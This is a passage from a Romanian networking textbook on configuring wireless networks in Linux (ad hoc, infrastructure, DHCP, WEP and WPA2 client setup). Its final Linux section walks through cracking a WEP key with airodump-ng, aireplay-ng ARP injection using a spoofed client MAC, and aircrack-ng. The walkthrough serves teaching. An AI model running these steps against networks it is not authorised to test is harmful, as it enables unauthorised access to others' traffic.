Este posibil s apar probleme cu driver-ul instalat implicit de Ubuntu sau recunoaterea
plcii wireless de ctre sistemul de operare. Pentru a putea verifica detectarea plcii wireless,
se vor folosi comenzile:
lspci pentru plcile wireless ce funcioneaz pe port PCI.
lsusb pentru plcile wireless ce funcioneaz pe port USB (adaptoare wireless).
waters@myr:-$ lspci
[...]
04:00.0 Network controller: Intel Corporation PRO/Wireless 3945ABG Network Connection
(rev 02)
Dac placa wireless nu apare n output, cel mai probabil Ubuntu nu a avut integrat un
driver pentru placa de reea. n acest caz trebuie cutat pe site-ul productorului un driver
wireless, iar dac nu exist driver pentru Linux, putei folosi soluia NDISwrapper

pentru a
instala un driver de Windows.
5.2.2.2 Configurarea unei reele ad hoc
Not: toate configurrile ce urmeaz trebuie realizate pe toate staiile din reeaua ad hoc.
Dup cum s-a precizat, configurarea unei staii se poate face temporar sau permanent. Se
vor urmri ambele abordri n cele ce urmeaz.
5.2.2.2.1 Configurarea temporar
Pentru nceput, trebuie aflat numele interfeei wireless de reea. Se va folosi comanda
iwconfig fr niciun parametru pentru a afia interfeele active n sistem.
waters@myr:~$ iwconfig
lo no wireless extensions.

eth0 no wireless extensions.

1
https://help.ubuntu.com/community/WifiDocs/WirelessCardsSupported
179 | W i r e l e s s


wlan0 IEEE 802.11g ESSID:"" Nickname:""
Mode: auto Frequency:2.412 GHz Cell: Not-Associated
Tx-Power=27 dBm
Retry min limit:7 RTS thr:off Fragment thr=2346 B
Power Management:off
Link Quality:0 Signal level:0 Noise level:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

Not: sintaxa comenzii iwconfig este: iwconfig <interfaa_wireless> <parametru_reea>
<valoarea_parametrului>
Dac interfaa nu apare n rezultatul comenzii iwconfig, numele cu care sistemul
identific aceast component (wifi0, wlan0, wireless0) poate fi aflat din consultarea
fiierului /proc/net/dev.
waters@myr:~$ cat /proc/net/dev
Inter-| Receive | Transmit
face |bytes packets errs drop fifo frame compressed multicast|bytes packets errs
drop fifo colls carrier compressed
lo: 14016 184 0 0 0 0 0 0 14016 184 0 0 0 0 0 0
eth1: 1461444 10683 0 0 0 0 0 0 1034216 9140 0 0 0 0 0 0
Urmtoarele comenzi vor trebui introduse n ordinea n care sunt listate mai jos. Trebuie
avut grij cu secvenierea comenzilor cci unele comenzi pot afecta setrile realizate anterior.
Pentru a evita probleme de configurare ce ar putea aprea din cauza driver-ului, se va opri
interfaa wireless nainte de aplicarea parametrilor de reea:
waters@myr:~$ sudo ifconfig wlan0 down
Specificarea tipului de reea wireless se face cu ajutorul parametrului mode al comenzii
iwconfig.
waters@myr:-$ sudo iwconfig wlan0 mode adhoc
Parametrul mode are cea mai mare prioritate n configuraie i trebuie introdus
ntotdeauna primul n secvena de comenzi de configurare. Valorile sale relevante sunt:
master - aceast valoare desemneaz interfaa ca fiind una de AP. Se va folosi numai dac se
dorete realizarea unui server Linux care s poat funciona ca Access Point. Se recomand
consultarea WiFi-Docs
1
pentru posibilitatea setrii plcii n acest mod.
managed acest mod se folosete cnd se dorete conectarea la un AP ntr-o reea tip
infrastructur
ad hoc specific opiunea unei reele ad hoc

n continuare, trebuie configurat SSID-ul reelei ad hoc pe fiecare dintre staii.
waters@myr:~$ sudo iwconfig wlan0 essid my_network
Pentru unele adaptoare wireless este necesar i configurarea unui canal de comunicare.
waters@myr:~$ sudo iwconfig wlan0 channel 1
ntr-o reea adhoc se pot folosi i ali parametrii opionali ai comenzii iwconfig pentru a
seta bit-rate-ul, puterea de transmisie sau parametrii de securitate.
Pn la acest pas, a fost configurat o reea wireless ce ofer conectivitate de nivel 2.
Pentru a putea asigura comunicare de nivel 7 trebuie configurai, mai nti, parametrii de
nivel 3: adresele IP (de asigurarea conectivitii 4-7 se ocupa stiva TCP/IP i sistemul de
operare).

1
https://help.ubuntu.com/community/WifiDocs/MasterMode
180 | R e e l e L o c a l e

Not: n general n lumea reelelor, administratorul de reea se ocup cu configurrile de
nivel 1,2,3 i 4; mai puin cu nivelul aplicaie.
Setarea adresei IP se face folosind comanda ifconfig:
waters@myr:~$ sudo ifconfig wlan0 192.168.1.1 netmask 255.255.255.0 broadcast
192.168.1.255 up

Atenie! toate staiile din reeaua ad hoc trebuie s se afle n acelai subnet pentru ca
reeaua s poat funciona corect. Se poate folosi utilitarul ping pentru verificarea legturii de
nivel 3 i SSH pentru testarea legturii de nivel 7.
5.2.2.2.2 Configurarea permanent
Dup cum s-a mai precizat, pentru a realiza o configuraie permanent trebuie editat
fiierul text /etc/network/interfaces cu parametrii reelei.
Not: n general pe Linux toate configurrile permanente se fac n fiiere text. Chiar i
atunci cnd se folosesc utilitare n mod grafic, acestea opereaz modificri n fiiere text.
Dei sintaxa este puin schimbat, se configureaz aceiai parametrii precum n cazul
configurrii temporare:
auto wlan0
iface wlan0 inet static
wireless-mode adhoc
wireless-channel 4
wireless-essid my_network
address 192.168.0.2
netmask 255.255.255.0

Atenie! ordinea parametrilor de configurare conteaz.
Pentru a putea testa aplicarea corecta a parametrilor introdui n fiierul de configurare,
trebuie forat reinterpretarea fiierului /etc/network/interfaces. Acest lucru se poate
face prin repornirea serviciului de reea:
waters@myr:~$ sudo /etc/init.d/networking restart
Rezultatul comenzii iwconfig va reflecta parametrii aplicai:
waters@myr:~$ iwconfig wlan0

wlan0 IEEE 802.11g ESSID:"my_network" Nickname:""
Mode:Adhoc Frequency:2.427 GHz Cell: 00:19:E0:84:DD:4A
Bit Rate=54 Mb/s Tx-Power=27 dBm
Retry min limit:7 RTS thr:off Fragment thr=2346 B
Power Management:off
Link Quality=85/100 Signal level=-48 dBm Noise level=-82 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
5.2.2.3 Configurarea unei reele de tip infrastructur
Ca i n cazul reelei ad hoc configurarea se poate face temporar, prin comenzi iwconfig,
sau permanent, prin editarea fiierului de configurare. Pentru ambele tipuri, vor trebui mai
nti parcurse etapele de pregtire ale interfeei de reea descrise anterior.


181 | W i r e l e s s

5.2.2.3.1 Configurarea temporar
Pentru o reea de tip infrastructur va trebui setat modul managed, SSID-ul reelei la care
se dorete conectarea i canalul de comunicaie folosit de reea. SSID-ul i canalul de
comunicaie identific n mod unic o reea wireless, deci trebuie setate pe client la aceeai
valoare la care au fost configurate i pe AP.
Dac se dorete apartenena la o reea fr fir, trebuie aflat cumva SSID-ul reelei la care
trebuie fcut asocierea. Pachetul wireless-tools include un utilitar numit iwlist, folosit
pentru scanarea mediului i aflarea SSID-ului reelelor care se afl n raza receptorului wireless
local. Pentru a porni scanarea, se va apela comanda iwlist astfel:
waters@myr:~$ sudo iwlist wlan0 scanning

wlan0 Scan completed :
Cell 01 - Address: 00:1B:FC:60:D7:8D
ESSID:"YoGi"
Mode:Master
Channel:1
Frequency:2.412 GHz (Channel 1)
Quality=71/100 Signal level=-63 dBm Noise level=-75 dBm
Encryption key:on
IE: WPA Version 1
Group Cipher : TKIP
Pairwise Ciphers (2) : CCMP TKIP
Authentication Suites (1) : PSK
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s
24 Mb/s; 36 Mb/s; 54 Mb/s; 6 Mb/s; 9 Mb/s
12 Mb/s; 48 Mb/s ; 54 Mb/s
Extra:tsf=000000ca49a2cfbc

Cell 02 - Address: 00:19:E0:84:DD:4A
ESSID:"guest"
Mode:Master
Channel:11
Frequency:2.412 GHz (Channel 1)
Quality=79/100 Signal level=-55 dBm Noise level=-75 dBm
Encryption key:off
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s
Extra:tsf=000000000190900b
Analiznd rezultatul comenzii, se poate observa existena a dou reele de tip
infrastructur (identificate astfel dup parametrul mode Master) la care se poate ncerca
conectarea:
Reeaua cu SSID-ul YoGi
o folosete frecvena de 2.4 Ghz i canalul 1
o Adresa MAC prezent n directive Cell: este adresa fizic a AP-ului i poart numele de BSSID
(Basic Service Set Identifier) ntr-o reea infrastructur.
o Analiznd bit rate-ul posibil pe care AP-ul l ofer, se poate concluziona faptul c AP-ul folosete
protocolul 802.11g deoarece 802.11b, dei funcioneaz la aceeai frecven, nu are o rat teoretic
de funcionare mai mare de 11 Mbps
o folosete autentificare i criptare pe baza protocolului WPA TKIP (chei schimbate n mod dinamic).
Reeaua cu SSID-ul Guest
o folosete frecvena de 2.4 Ghz i canalul 11
o Adresa MAC prezent n directive Cell: este adresa fizic a AP-ului i poart numele de BSSID
(Basic Service Set Identifier) ntr-o reea infrastructur.
o Urmrind rezultatul ratei posibile afiate (bit rate), se poate identifica reeaua ca fiind 802.11b
(vitez maxim 11 Mbps)
o reeaua nu folosete asociere securizat, fiind de tip OPEN (Encryption off). Atenie, acest lucru nu
nseamna ca se va putea realiza ntotdeauna asocierea la reea. Chiar daca reeaua apare ca fiind
OPEN la scanare, pot fi implementate politici de filtrare dup adresa MAC pe AP, care s permit
doar anumitor staii s se asocieze reelei.
Se va configura n continuare asocierea la reeaua guest prin:
oprirea temporar a interfeei de reea ct timp se aplic noile configuraii
setarea modului managed
setarea SSID-ului i canalului corespunztor reelei guest
deschiderea interfeei wireless
182 | R e e l e L o c a l e


Comenzile pentru efectuarea operaiilor de mai sus sunt dup cum urmeaz:
waters@myr:-$ sudo ifconfig wlan0 down
waters@myr:-$ sudo iwconfig wlan0 mode managed
waters@myr:-$ sudo iwconfig wlan0 essid guest
waters@myr:-$ sudo iwconfig wlan0 channel 11
waters@myr:-$ sudo ifconfig wlan0 up
Configurarea de nivel 2 este complet i se poate verifica prin iwconfig:
waters@myr:~$ iwconfig wlan0

wlan0 IEEE 802.11g ESSID:"guest" Nickname:""
Mode:Managed Frequency:2.462 GHz Access Point: 00:19:E0:84:DD:4A
Bit Rate=54 Mb/s Tx-Power=27 dBm
Retry min limit:7 RTS thr:off Fragment thr=2346 B
Power Management:off
Link Quality=68/100 Signal level=-65 dBm Noise level=-75 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

Observaie: deoarece nc nu s-a realizat asocierea la reeaua 802.11b cu SSID guest, bit-
rate-ul clientului este nc setat pe valoarea implicit de 54 Mbps. Cum standardul 802.11g
este cel mai ntlnit n reele fr fir, majoritatea clienilor vor avea caracteristicile implicite ale
acestui protocol.
Mai rmne de configurat doar asignarea unui IP pe interfaa wireless pentru a putea
comunica la nivel 3 n reea. Una din diferenele importante dintre o reea ad hoc i una
infrastructur este una de administrare. ntr-o reea ad hoc nu exist administrator i de aceea
fiecare utilizator trebuie s seteze IP-ul static pe interfaa de reea, avnd grij ca toate IP-urile
s se afle n acelai subnet. Reeaua de tip infrastructur va presupune un minim de
administrare i mai mult, existena unei metode centralizate de setare a adreselor IP pe
fiecare staie, fr intervenia utilizatorilor: un server DHCP. n cazul n care AP-ul ofer
funcionalitatea unui server DHCP, intervalul din care serverul DHCP ofer adrese IP poate fi
configurat din interfaa grafica a AP-ului.

5-10: configurare serverului DHCP
Deci, se poate finaliza configurarea clientului wireless prin efectuarea unei cereri DHCP pe
interfaa wlan0 cu ajutorul comenzii dhclient:

waters@myr:~$ sudo dhclient wlan0

Internet Systems Consortium DHCP Client V3.0.6
Copyright 2004-2007 Internet Systems Consortium.
All rights reserved.
For info, please visit http://www.isc.org/sw/dhcp/

Listening on LPF/wlan0/00:18:de:b9:ac:da
Sending on LPF/wlan0/00:18:de:b9:ac:da
Sending on Socket/fallback
DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 5
DHCPOFFER of 192.168.2.105 from 192.168.2.1
DHCPREQUEST of 192.168.2.105 on wlan0 to 255.255.255.255 port 67
DHCPACK of 192.168.2.105 from 192.168.2.1
bound to 192.168.2.105 -- renewal in 48000 seconds.
183 | W i r e l e s s

5.2.2.3.2 Configurarea permanent
Pentru o configuraie persistent, introducem directivele specificate anterior, n fiierul
/etc/network/interfaces
auto wlan0
iface wlan0 inet dhcp
wireless-mode managed
wireless-channel 11
wireless-essid guest
Prin realizarea repornirii serviciului de reea, se vor aplica parametrii mode, channel si
SSID, iar apoi se va face o cerere DHCP pentru configurarea parametrilor de nivel 3.
waters@myr:~$ sudo /etc/init.d/networking restart

* Reconfiguring network interfaces...
Internet Systems Consortium DHCP Client V3.0.6
Copyright 2004-2007 Internet Systems Consortium.
All rights reserved.
For info, please visit http://www.isc.org/sw/dhcp/

Listening on LPF/wlan0/00:18:de:b9:ac:da
Sending on LPF/wlan0/00:18:de:b9:ac:da
Sending on Socket/fallback
DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 3
DHCPOFFER of 192.168.2.107 from 192.168.2.1
DHCPREQUEST of 192.168.2.107 on wlan0 to 255.255.255.255 port 67
DHCPACK of 192.168.2.107 from 192.168.2.1
bound to 192.168.2.107 -- renewal in 53306 seconds.

[ OK ]
5.2.2.3.3 Testarea reelei
n continuare se va analiza o problem de conectivitate ce poate aprea dup configurarea
unei reele de tip infrastructur. Se va presupune c administratorul efectueaz un ping ctre
adresa www.google.com, iar comanda ntoarce mesajul ICMP: Destination Unreachable. n
mod evident exist o problema de conectivitate n reea. Pentru a o rezolva, se vor parcurge
urmtorii pai:
1. Verificarea corect a asocierii la reeaua 802.11b
Dup asociere se poate verifica sincronizarea parametrilor ntre clientul wireless i reeaua
802.11b, printre care adresa MAC a AP-ului cu care s-a fcut asocierea i rata de transfer ce a
fost negociat la maximul posibil al reelei: 11Mpbs.
waters@myr:~$ iwconfig wlan0

wlan0 IEEE 802.11g ESSID:"guest" Nickname:""
Mode:Managed Frequency:2.462 GHz Access Point: 00:19:E0:84:DD:4A
Bit Rate=11 Mb/s Tx-Power=27 dBm
Retry min limit:7 RTS thr:off Fragment thr=2346 B
Power Management:off
Link Quality=93/100 Signal level=-37 dBm Noise level=-75 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
2. Verificarea conectivitii la gateway.
O cererea DHCP efectuat configureaz mai mult dect adresa IP pe interfaa wireless;
aceasta introduce i o ruta implicit (rut default) ctre adresa IP a gateway-ului i ofer
staiei i o adres valid a unui server DNS. Existena rutei implicite se verific prin comanda
route:
waters@myr:~$ route -n

Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
192.168.2.0 0.0.0.0 255.255.255.0 U 0 0 0 wlan0
0.0.0.0 192.168.2.1 0.0.0.0 UG 100 0 0 wlan0
Rezultatul comenzii conine o rut implicit ctre adresa 192.168.2.1. Dup ce s-a aflat
adresa IP a gateway-ului, se poate testa conectivitatea cu acesta prin comanda ping:
184 | R e e l e L o c a l e

waters@myr:~$ ping 192.168.2.1 -c 3
PING 192.168.2.1 (192.168.2.1) 56(84) bytes of data.
64 bytes from 192.168.2.1: icmp_seq=1 ttl=64 time=1.75 ms
64 bytes from 192.168.2.1: icmp_seq=2 ttl=64 time=1.64 ms
64 bytes from 192.168.2.1: icmp_seq=3 ttl=64 time=2.19 ms

--- 192.168.2.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 1.640/1.865/2.199/0.240 ms
3. Verificarea existenei unei adrese IP pentru serverul de nume (DNS)
Dac se ajunge n acest pas, se poate considera ca accesul n reeaua local este lipsit de
probleme, odat ce se poate da ping n adresa de gateway. Singurul lucru ce ar putea cauza
probleme de conectivitate n exterior este protocolul DNS. Pentru a verifica dac serverul
DHCP a oferit o adres pentru un server de nume, se va consulta fiierul /etc/resolv.conf:
waters@myr:~$ cat /etc/resolv.conf

nameserver 82.76.253.115
Dac exist un server de nume configurat, problema reelei prsete responsabilitatea
administratorul i trece de partea ISP-ului. Pasul urmtor pentru rezolvarea problemei este
contactarea ISP-ului i raportarea problemei.
5.3 Configurarea unei reele wireless n Linux - configurri avansate
5.3.1 Partajarea unei conexiuni la Internet ntr-o reea ad hoc
Una dintre configuraiile ce se poate ntlni des n funcionarea reelelor att pe fir ct i
fr fir este partajarea unei conexiuni la Internet. Scenariul acesta presupune cel puin dou
PC-uri aflate ntr-o reea ad hoc fr fir sau o reea Ethernet pe fir.

5-11: Partajarea unei conexiuni la Internet
Staia B dispune i de o legtur ctre Internet (deci are 2 interfee de reea montate) i
poate comunica att cu staia A, ct i cu ntreaga reea WWW. Dei staia A nu are dect o
interfaa de reea, trebuie s i fie asigurat i acesteia conectivitate n Internet. Exist, n
general, dou soluii ce se pot adopta n aceast situaie:
185 | W i r e l e s s

se cumpr un router pentru reeaua local i se conecteaz cele dou staii direct la router.
se configureaz staia B ca gateway/router pentru staia A.

Se va analiza pe scurt varianta 2, cci varianta 1 presupune mai mult un efort financiar,
dect unul de configurare. Rezultatul urmrit poate fi descris astfel:
staia A trebuie s tie s trimit tot traficul destinat unei staii n Internet, ctre staia B. Cu
alte cuvinte, staia A trebuie s configureze ca gateway pe staia B, folosind o rut static.
staia B va trebui s trimit pe interfaa eth0 tot traficul primit pe interfaa wlan0 i destinat
n Internet. (pentru ca staia A s poat trimite pachete n Internet)
staia B va trebui s trimit pe interfaa wlan0 tot traficul primit pe interfaa eth0 i destinat
staiei A. (pentru ca staia A s poat primi pachete din Internet)

Pentru a putea realiza aceast configuraie este nevoie de un firewall Linux pe staia B.
Ubuntu are deja inclus un firewall n linie de comand numit iptables, nsa utilizarea sa va fi
studiat ulterior n aceast carte, iar nelegerea sintaxei iptables nu este necesar n acest
capitol pentru a oferi o soluie n problema de fa.
Pentru a obine comportamentul dorit, se va instala pachetul firestarter, un firewall
extrem de simplist. Comand pentru instalare este:
waters@myr:~$ sudo apt-get install firestarter
Dup instalare, se poate porni programul prin introducerea firestarter & n linia de
comand. Acesta va porni intr-un mod wizard de configurare n care va trebui specificat
interfaa din reeaua local i interfaa ce duce spre gateway. Restul configuraiei de firewall
va fi fcut de ctre Firestarter automat.
Se indic deci interfaa spre gateway:

i interfaa spre reeaua local:
186 | R e e l e L o c a l e


A mai rmas doar configurarea gateway-ului pe staia A. Comanda de mai jos indic staiei
A, s trimit toate pachetele destinate n Internet, staiei B.
waters@myr:~$ sudo route add default gw IP_wlan0_B
5.3.2 Configurri de securitate n wireless
n seciunea ce urmeaz vor fi prezentate att configuraiile pe client ct i cele de pe un
router wireless Linksys.
5.3.2.1 Configurarea WEP
5.3.2.1.1 Configurarea routerului wireless
Configurarea routerului se face printr-o interfa WEB simpl accesat prin protocolul
HTTP. Pentru a putea iniia ns o conexiune HTTP (nivel 7) la routerul wireless, este nevoie de
conectivitate de nivel 3 ntre staie i router. Asigurarea legturii de nivel 1 i 2 se poate face
prin asocierea cu reeaua implicit wireless prezent pe router sau prin folosirea unui cablu
crossover pentru conectarea la unul din porturile de LAN. Routerele wireless Linksys, au activat
n mod implicit un server DHCP ce ofer conectivitatea de nivel 3 prin oferirea unei adrese IP
din aceeai subreea cu IP-ul de management al routerului, folosit pentru accesarea interfeei
WEB de configurare. Adresa IP implicit prin care se poate accesa interfaa wireless a
routerelor wireless Linksys este 192.168.1.1.

5-12: Accesarea routerului prin HTTP
187 | W i r e l e s s

Configurarea WEP, pe router, presupune de fapt alegerea lungimii cheii i generarea
acesteia dup o parol introdus:

5-13: Configurare WEP pe router wireless
5.3.2.1.2 Configurare clientului wireless
Pe client, tot ce trebuie fcut este adugarea linie de configurare de mai jos n fiierul
/etc/network/interfaces.
wireless-key s:7733-7031-7377-3361-6B
Dup repornirea serviciului de reea, se obine conectivitate cu suport WEP.
root@myr:/home/waters# iwconfig wlan0
wlan0 IEEE 802.11g ESSID:"test" Nickname:""
Mode:Managed Frequency:2.437 GHz Access Point: 00:1D:7E:4C:4F:1D
Bit Rate=54 Mb/s Tx-Power=27 dBm
Retry min limit:7 RTS thr:off Fragment thr=2346 B
Encryption key:7733-7031-7377-3361-6B
Power Management:off
Link Quality=98/100 Signal level=-25 dBm Noise level=-127 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

Atenie! dup cum s-a prezentat anterior n subcapitolul de securitate n reele fr fir,
securitatea WEP este foarte uor de compromis; un utilizator contient de acest risc nu va
trebui s foloseasc niciodat acest tip de criptare, dect dac dorete s i sparg propria
reea, n scop didactic.
5.3.2.2 Configurarea WPA2 Personal
Standardul de securitate recomandat pentru reele fr fir de tip infrastructur este
802.11i, cunoscut i sub numele de WPA2. Configurarea se va face ca i n cazul WEP, att pe
AP ct i pe client.
5.3.2.2.1 Configurarea routerului
Configurarea WPA2 se poate face cu protocolul TKIP sau AES, avnd grij ca alegerea uneia din
opiuni s se reflecte i n setrile realizate pe client.
188 | R e e l e L o c a l e


5-14: Configurarea WPA2 pe un router wireless
5.3.2.2.2 Configurarea clientului wireless
Pentru client, se va realiza o configurare persistent a reelei pentru suport WPA2. n acest
sens va trebui editat fiierul /etc/network/interfaces pentru a reflecta schimbarea
nivelului de securitate.
Atenie! dac configuraia ce urmeaz se realizeaz pe o plac wireless Ralink (driver
RTxxx), va trebui instalat driverul NDISwrapper n locul celui Serialmonkey, prezent n Linux.
Suportul WPA2 va fi adugat folosind un utilitar n linie de comand numit
wpasupplicant. Se va instala mai nti pachetul pentru acest utilitar:
waters@myr:~$ sudo apt-get install wpasupplicant
Pentru a se putea realiza asocierea cu o reea WPA2, n fiierul de configurare va trebui
introdus cheia partajat WPA2 care a fost setat i pe AP. Problema este c
/etc/network/interfaces are drept de read implicit pentru orice utilizator din sistem.
Degeaba s-ar oferi securitate WPA2 reelei, dac parola ar fi introdus n text clar ntr-un fiier
de configurare pe care oricine l poate consulta. n acest punct intervine wpasupplicant prin
oferirea unui utilitar cu ajutorul cruia se poate genera un hash de 64 caractere, care poate fi
ulterior introdus n fiierul interfaces. Acest utilitar se numete wpa-passphrase, iar pentru
a genera hash-ul are nevoie la intrare de SSID-ul reelei i de cheia partajat a reelei.
root@myr:/home/rl# wpa_passphrase YoGi p1d@n3t$s5p^a7
network={
ssid="YoGi"
#psk="p1d@n3t^a7"
psk=a8a9c6966946c520a16d020e7590d1ad35d4de60332a22d7349264007194b0e9
}
Alturi de cheia partajat, n fiierul de configurare vor mai trebui adugate urmtoarele
directive:
wpa-driver specific driverul folosit. Dac nu s-a instalat un driver cu ajutorul NDISwrapper,
se va folosi parametrul wext (Linux wireless extensions); acesta este driverul generic instalat de
Linux.
wpa-ssid specific SSID-ul reelei.
wpa-ap-scan primete parametrul 1, daca reeaua are SSID broadcast activat, i parametrul
2, n caz contrar.
wpa-proto versiunea protocolului. Parametrii pot fi WPA2 sau WPA.
wpa-pairwise, wpa-group aceste dou directive primesc acelai tip de parametru, care
specific procolul de criptare folosit. Valorile pot fi:
1. CCMP pentru AES
2. TKIP pentru TKIP (asigura compatibilitatea WPA2 cu WPA)
wpa-key-mgmt este folosit pentru a indica metoda de autentificare folosit. Accept
parametrii:
1. WPA-PSK n cazul autentificrii pe baz de cheie partajat
2. WPA-EAP n cazul autentificrii pe baza unui server specializat (RADIUS, TACACS+)
189 | W i r e l e s s

wpa-psk specific cheia partajat sub form de hash accept ca parametru hash-ul generat
anterior cu wpa_passphrase

Conform specificaiilor de mai sus, fiierul de configurare pentru reeaua test arat astfel:
auto wlan0
iface wlan0 inet dhcp
wpa-driver wext
wpa-ssid YoGi
wpa-ap-scan 1
wpa-proto WPA2
wpa-pairwise CCMP
wpa-group CCMP
wpa-key-mgmt WPA-PSK
wpa-psk a8a9c6966946c520a16d020e7590d1ad35d4de60332a22d7349264007194b0e9
5.3.2.3 Compromiterea unui sistem pe baz de cheie WEP
nainte de a ncepe compromiterea efectiv, trebuie luate n considerare cteva
caracteristici pe care WEP le deine. n primul rnd, WEP folosete pentru criptarea datelor un
algoritm de criptare simetric denumit RC4, folosind pentru criptarea i decriptarea datelor,
chei pe 40 sau 60 de bii. Cheile sunt cunoscute de AP (Access Point) i de toate nodurile
crora li se permite asocierea.
IV (Initialization Vector) reprezint un numr pe 24 de bii, generat aleator de fiecare
staie ce dorete s transmit i care mpreun cu cheia partajat va genera cheia RC4. Acesta
este transmis n clar cu fiecare pachet destinaiei. Vulnerabilitatea acestui protocol provine
tocmai din folosirea acestor vectori de iniializare. Cu o lungime de numai 24 de bii, ntr-o
reea wireless n care exist un trafic susinut, WEP pn la urm va folosi aceeai vectori de
iniializare pentru diferite pachete. Aceasta rezult n pachete ce au iruri generate de ctre
RC4 foarte asemntoare.
n concluzie, dac exist destul de multe IV-uri capturate, este posibil aflarea cheii WEP.
Modul managed sau ad hoc al driverului nu suport ns captura de pachete fr ca clientul s
fie asociat cu un AP. Pentru a face posibil captura trebuie ca placa de reea s fie setat n
modul Monitor.
waters@myr:~$ sudo ifconfig wlan0 down
waters@myr:~$ sudo iwconfig wlan0 mode Monitor
waters@myr:~$ sudo ifconfig wlan0 up
Captura pachetelor i spargerea cheii WEP se vor realiza cu pachetul aircrack-ng. Acesta
se poate instala folosind utilitarul apt n linie de comand:
waters@myr:~$ apt-get install aircrack-ng
Pachetul include urmtoarea suit de utilitare:
airodump face posibila captura de pachete i implicit de valori IV
aircrack folosit pentru analiza capturii de IV-uri si gsirea cheii WEP
airreplay acesta este un packet injector. Cu ajutorul su se poate genera trafic la care AP-
ul s fie obligat s rspund cu pachete ce include valori IV.

n scenariul ce urmeaz se va folosi mai nti airodump pentru a captura pachetele din
reea ntr-un fiier de pe disc. Asupra acestuia se va aplica aircrack pentru a analiza vectorul
de IV i a gsi parola.
Odat setat modul Monitor, se poate porni captura de pachete cu airodump. Ca
parametri se vor folosi:
-t: specific tipul de pachete criptate ce trebuie capturat. Valorile posibile sunt WEP, WPA,
WPA2.
-b: specific banda n care funcioneaz reeaua wireless
190 | R e e l e L o c a l e

-w: specific numele fiierul n care se va analiza captura
-c: pentru precizarea canalului care va fi scanat. Dac nu se precizeaz canalul scanarea se va
face pe toate canalele
Not: se presupune c informaii precum banda sau canalul pe care reeaua funcioneaz
au fost aflate anterior printr-o scanare simpl cu utilitarul iwlist.

waters@myr:~$ sudo airodump-ng -t WEP -b g -c 11 -w capture wlan0
[ CH 11 ][ Elapsed: 53 s ][ 2008-08-05 11:57
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ES
00:1D:7E:4C:4F:1D 0 100 523 50 1 11 54. WEP WE l

BSSID STATION PWR Rate Lost Packets Probes
00:1D:7E:4C:4F:1D 00:1D:D9:5D:8F:00 0 54-54 2 235
Dei captura de mai sus a fost lsat rulnd 5 minute, se poate observa c numrul de
pachete transmis de staia cu adresa MAC 00:1D:D9:5D:8F:00 a fost doar 235. Pentru a putea
sparge o cheie WEP de 128 bii cu o probabilitate de 100% va fi nevoie ca indicatorul de date
utile(#Data) s fie cel puin 100000 iar numrul de pachete cel puin la fel de mare. Din
pcate, momentan, n reeaua de mai sus nu are loc foarte mult transfer de date. Dei s-ar
putea atepta pn cnd activitatea de pe mediu ar fi ceva mai mare, pachetul aircrack-ng
ofer o metod mai rapid.
Folosind utilitarul airepaly, se pot trimite pachete ARP request la care AP-ul este obligat
s rspund. Din pachetele de ARP reply se pot captura IV-urile de care este nevoie. ns AP-ul
nu va rspunde niciodat la un request ce vine de la o adresa MAC de nu este asociat reelei.
Din acest motiv, pentru ca acest atac sa funcioneze, pachetele ARP vor trebui trimise cu un
MAC surs pe care AP-ul l cunoate n tabela sa ARP.
Una din cele mai importante statistici din rezultatul pe care l ofer comanda airodump-
ng, este un tabel al staiilor asociate deja la reea ce conine i adresele MAC ale acestor staii.
Astfel se va folosi drept MAC surs unul dintre MAC-urile statiilor obinute anterior.
Sintaxa comenzii aireplay ce va fi folosit n acest caz este:
aireplay-ng <tipul pachetelor injectate> -b <Adresa MAC a AP-ului> -h <Adresa MAC a unui
client asociat> <interfaa de reea>
Tipul pachetelor ARP request este identificat de numrul 3. Pentru mai muli parametrii i
mai multe tipuri de pachete ce pot fi generate, se va consulta pagina man a utilitarului. Se
poate deci porni injectarea de pachete astfel:
waters@myr:~$ sudo aireplay-ng -3 -b 00:1D:7E:4C:4F:1D -h 00:1D:D9:5D:8F:00 wlan0

Not: n atacul de mai sus, nu conteaz dac AP-ul are configurat securitate bazat pe
filtrare de adrese MAC, cci pentru pachetele ARP se folosete ca adresa surs, o adres deja
asociat, nefiltrat.
Acum c s-a generat destul trafic, pentru decriptarea pachetelor de date capturate se va
folosi utilitarul aircrack-ng, specificndu-i numele fiierului n care s-au salvat datele
capturate.
waters@myr:~$ sudo aircrack-ng capture.cap
Opening capture.cap
[...]
KEY FOUND! [ AA:BB:CC:DD:EE ]
Probability: 100%
191 | W i r e l e s s

5.4 Wireless n Windows Server 2008
Window Server 2008 vine cu o multitudine de schimbri i mbuntiri din seria
protocoalelor 802.11. Suportul pentru wireless este acum nativ, mpreun cu o arhitectur de
implementare care aduce mari mbuntiri interfeei de pe partea utilizatorului, ofer
posibilitatea stabilirii de politici de grup pentru conexiunile wireless, capabiliti de
autoconfigurare. De asemenea, suport standardul de securitate WPA2 (Wi-Fi Protected
Access 2). Sistemul ncorporat de suport pentru wireless se integreaz acum cu NAP
1
la
autentificarea prin 802.1x, ofer posibilitatea de diagnosticare i suport configurarea din linie
de comand.
Aplicabilitate. Cu excepia metodei pentru activarea serviciului wireless, explicat mai jos,
majoritatea procedurilor i utilitarelor descrise n continuare se aplic deopotriv pentru
Windows Server 2008 ct i pentru Windows Vista.
5.4.1 Activarea serviciului Wireless n Windows Server 2008
n general, la instalarea sistemului, Windows Server 2008 va instala automat driver-ele
pentru majoritatea echipamentelor de reea. Interfeele ce nu sunt niciodat configurate
automat sunt cele wireless. De asemenea, n cele mai multe dintre cazuri, nici instalarea
